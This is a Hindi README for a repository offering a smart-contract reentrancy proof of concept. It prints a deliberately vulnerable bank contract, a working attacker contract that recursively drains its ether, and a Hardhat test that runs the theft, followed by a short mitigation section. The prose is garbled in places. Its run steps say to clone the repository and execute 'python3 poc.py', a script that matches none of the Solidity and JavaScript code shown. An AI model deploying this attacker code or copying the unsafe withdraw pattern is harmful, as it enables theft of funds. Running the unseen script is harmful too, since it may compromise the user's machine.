
स्मार्ट कॉन्ट्रैक्ट रीएंट्रेंसी हमला भेद्यता POC
स्मार्ट कॉन्ट्रैक्ट रीएंट्रेंसी अटैक भेद्यता सत्यापन
इस रिपॉजिटरी में एथेरियम स्मार्ट कॉन्ट्रैक्ट में रीएंट्रेंसी अटैक भेद्यता का एक प्रूफ ऑफ कॉन्सेप्ट (PoC) शामिल है। PoC में एक असुरक्षित स्मार्ट कॉन्ट्रैक्ट, एक हमलावर कॉन्ट्रैक्ट और स्थानीय परीक्षण वातावरण में हमले को पुन: उत्पन्न करने के निर्देश शामिल हैं।
रीएंट्रेंसी एथेरियम स्मार्ट कॉन्ट्रैक्ट में एक सामान्य भेद्यता है जहाँ एक बाहरी अनुबंध पहले कॉल पूरा होने से पहले मूल अनुबंध में बार-बार कॉल कर सकता है, जिससे संभावित रूप से धन की निकासी या स्थिति में हेरफेर हो सकता है। यह PoC दर्शाता है कि कैसे एक हमलावर एक असुरक्षित अनुबंध का शोषण करके ईथर चुरा सकता है।
असुरक्षित अनुबंध (VulnerableBank) उपयोगकर्ताओं को ईथर जमा और निकालने की अनुमति देता है। हालाँकि, यह बाहरी कॉल करने से पहले स्थिति अपडेट को ठीक से संभाल नहीं पाता है, जिससे यह रीएंट्रेंसी के प्रति संवेदनशील हो जाता है। हमलावर अनुबंध () फ़ंक्शन को पुनरावर्ती रूप से कॉल करके अनुबंध के ईथर बैलेंस को खाली करने का शोषण करता है।
AttackerwithdrawVulnerableBank में withdraw फ़ंक्शन उपयोगकर्ता के बैलेंस को अपडेट करने से पहले कॉलर को ईथर भेजता है।withdraw को फिर से कॉल करने की अनुमति देता है, जिससे अनुबंध के फंड खाली हो जाते हैं।इस PoC को चलाने के लिए, आपको चाहिए:
git clone https://github.com/Layer1-Artist/POC-CVE-2025-48621.git
cd POC-CVE-2025-48621
python3 poc.py
नीचे इस PoC में उपयोग किए गए दो अनुबंध हैं:
यह अनुबंध एक साधारण बैंक का अनुकरण करता है जो जमा और निकासी की अनुमति देता है लेकिन रीएंट्रेंसी के प्रति संवेदनशील है।
// SPDX-License-Identifier: MIT
pragma solidity ^0.8.0;
contract VulnerableBank {
mapping(address => uint256) public balances;
function deposit() public payable {
balances[msg.sender] += msg.value;
}
function withdraw() public {
uint256 amount = balances[msg.sender];
require(amount > 0, "No balance to withdraw");
// Vulnerable: External call before state update
(bool success, ) = msg.sender.call{value: amount}("");
require(success, "Transfer failed");
// State update after external call
balances[msg.sender] = 0;
}
function getBalance() public view returns (uint256) {
return address(this).balance;
}
}
यह अनुबंध withdraw फ़ंक्शन को पुनरावर्ती रूप से कॉल करके रीएंट्रेंसी भेद्यता का शोषण करता है।
// SPDX-License-Identifier: MIT
pragma solidity ^0.8.0;
contract Attacker {
VulnerableBank public vulnerableBank;
uint256 public constant WITHDRAW_AMOUNT = 1 ether;
constructor(address _vulnerableBankAddress) {
vulnerableBank = VulnerableBank(_vulnerableBankAddress);
}
// Initiate the attack
function attack() external payable {
require(msg.value >= WITHDRAW_AMOUNT, "Need at least 1 Ether to attack");
vulnerableBank.deposit{value: WITHDRAW_AMOUNT}();
vulnerableBank.withdraw();
}
// Fallback function to recursively call withdraw
receive() external payable {
if (address(vulnerableBank).balance >= WITHDRAW_AMOUNT) {
vulnerableBank.withdraw();
}
}
// Withdraw stolen Ether to attacker's address
function withdrawFunds() external {
payable(msg.sender).transfer(address(this).balance);
}
function getBalance() public view returns (uint256) {
return address(this).balance;
}
}
हमले के अनुकरण को स्वचालित करने के लिए एक Hardhat टेस्ट स्क्रिप्ट शामिल है।
const { expect } = require("chai");
const { ethers } = require("hardhat");
describe("Reentrancy Attack PoC", function () {
let vulnerableBank, attacker, owner, attackerAddr;
beforeEach(async function () {
// Deploy VulnerableBank
const VulnerableBank = await ethers.getContractFactory("VulnerableBank");
vulnerableBank = await VulnerableBank.deploy();
await vulnerableBank.deployed();
// Deploy Attacker
const Attacker = await ethers.getContractFactory("Attacker");
[owner, attackerAddr] = await ethers.getSigners();
attacker = await Attacker.deploy(vulnerableBank.address);
await attacker.deployed();
// Fund VulnerableBank with 10 Ether
await owner.sendTransaction({
to: vulnerableBank.address,
value: ethers.utils.parseEther("10"),
});
});
it("should drain VulnerableBank via reentrancy", async function () {
// Initial balances
const initialBankBalance = await vulnerableBank.getBalance();
console.log(`Initial Bank Balance: ${ethers.utils.formatEther(initialBankBalance)} ETH`);
// Execute attack with 1 Ether
await attacker.connect(attackerAddr).attack({ value: ethers.utils.parseEther("1") });
// Check final balances
const finalBankBalance = await vulnerableBank.getBalance();
const attackerBalance = await attacker.getBalance();
console.log(`Final Bank Balance: ${ethers.utils.formatEther(finalBankBalance)} ETH`);
console.log(`Attacker Balance: ${ethers.utils.formatEther(attackerBalance)} ETH`);
expect(finalBankBalance).to.equal(0, "Bank should be drained");
expect(attackerBalance).to.be.above(0, "Attacker should have stolen funds");
});
});
रीएंट्रेंसी हमलों को रोकने के लिए, निम्नलिखित सर्वोत्तम प्रथाओं पर विचार करें:
ReentrancyGuard) का उपयोग करें।transfer या send का उपयोग करें: ये विधियाँ गैस को सीमित करती हैं, जिससे रीएंट्रेंसी का जोखिम कम होता है।// SPDX-License-Identifier: MIT
pragma solidity ^0.8.0;
import "@openzeppelin/contracts/security/ReentrancyGuard.sol";
contract SecureBank is ReentrancyGuard {
mapping(address => uint256) public balances;
function deposit() public payable {
balances[msg.sender] += msg.value;
}
function withdraw() public nonReentrant {
uint256 amount = balances[msg.sender];
require(amount > 0, "No balance to withdraw");
// पहले स्थिति अपडेट करें
balances[msg.sender] = 0;
// फिर बाहरी कॉल करें
(bool success, ) = msg.sender.call{value: amount}("");
require(success, "Transfer failed");
}
function getBalance() public view returns (uint256) {
return address(this).balance;
}
}
यह प्रोजेक्ट MIT लाइसेंस के अंतर्गत लाइसेंस प्राप्त है - विवरण के लिए LICENSE फ़ाइल देखें।